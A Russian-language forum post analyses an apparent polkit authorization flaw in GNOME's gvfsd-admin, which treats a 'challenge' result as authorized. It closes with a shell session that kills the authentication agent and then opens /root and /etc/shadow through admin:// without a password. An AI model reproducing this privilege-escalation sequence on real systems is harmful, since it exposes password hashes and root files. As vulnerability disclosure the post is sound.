(На правах моего скромного мнения. Я не специалист по безопафосности и погромированию.)Агент нужен, чтобы пользователь подтвердил, что не верблюд.
$ man polkit
> An authentication agent is used to make the user of a session prove that the user of the session really is the user (by authenticating as the user) or an administrative user (by authenticating as a administrator).
По задумке, если авторизация процесса не прошла из-за недоступности агента, то она считается проваленной.
$ man pkcheck
> If the specified process is not authorized because no suitable authentication agent is available or if the --allow-user-interaction wasn't passed, pkcheck exits with a return value of 2 and a diagnostic message is printed on standard error.
При беглом осмотре, вызывает подозрения этот код (https://gitlab.gnome.org/GNOME/gvfs/blob/master/daemon/gvfsb...):
> is_authorized = polkit_authorization_result_get_is_authorized (result) || polkit_authorization_result_get_is_challenge (result);
Сравните обработку polkit_authorization_result_get_is_challenge() с "эталонной" pkcheck (https://gitlab.freedesktop.org/polkit/polkit/blob/master/src... или https://gitlab.freedesktop.org/polkit/polkit/blob/master/src...)
Там полезная нагрузка выполняется только если прошёл polkit_authorization_result_get_is_authorized(). А если - только polkit_authorization_result_get_is_challenge() и (sic!) удалось обратиться к агенту, то goto tryagain до победного polkit_authorization_result_get_is_authorized(), иначе - goto out.
А в gvfsd-admin что? А там, если ответа от агента нет, то и фиг с ним.. Как говорится, goto out из профессии! :D
Получается, для уязвимости должны быть соблюдены следующие условия:
1) Запущен демон gvfsd-admin.
> В Арче gvfsd-admin поставляется в одном пакете с gvfs (в Debian - отдельно), что значительно увеличивает шанс установить "бэкдор" в нагрузку к какому-нибудь Gtk-приложению.
2) Не зарегистрирован polkit-agent.
> А его можно убить с правами пользователя.
> Кстати, в Arch нету X-GNOME-AutoRestart=true в polkit-gnome-authentication-agent-1.desktop. Так что в Гноме штатный агент, похоже, тоже не перезапустится самостоятельно. Впрочем, вряд ли, это что-то существенно меняет.
3) Приложение запущено пользователем из группы wheel (или sudo в Debian, соответственно).
> Практически стандарт на десктопах. Каждый второй инсталлятор сунет первого несистемного пользователя в эту группу, либо по умолчанию, либо по просьбе дать sudo, либо при блокировке root-аккаунта.
4) Приложение поддерживает протокол admin://.
> Большинство Gtk-шных приложений, поддерживающих GVFS?
Резюмируя, для десктопов шанс выиграть миллион достаточно высок!
$ groups $USER
> wheel users
$ pgrep -l gvfsd-admin
> 666 gvfsd-admin
$ stat -c%U:%G:%a /root /etc/shadow
> root:root:750
> root:root:600
$ /usr/lib/polkit-gnome/polkit-gnome-authentication-agent-1 &
$ pgrep -u$USER -l polkit
> 955 polkit-gnome-au
$ thunar admin:/root
> Не-а!
$ gedit admin:/etc/shadow
> Фигу!
# И тут начинается магия...
$ pkill polkit-gnome-au
$ thunar admin:/root
> А-а-а!
$ gedit admin:/etc/shadow
> Караул!
$ firejail --quiet --nogroups --noroot --nonewprivs gedit admin:/etc/shadow
> Грабят!
ИМХО, победитель в номинации "Самый лохматый пиceц уходящего года". Странно почему ещё не создали сайт и не пиарят? Наверное ещё прошлогодние гранты на спектры с мельдониями не доели..
(С другой стороны, зачем такие сложности, если X-сервер, стоящий практически на каждом линукс-десктопе, и так позволяет любому X-клиенту читать нажатия клавиш и буфер обмена, причём каждый второй X-клиент - это интерпретатор Javascript с доступом в сеть? Пароль пользователя из группы wheel свистнуть хватит.)
С праздником!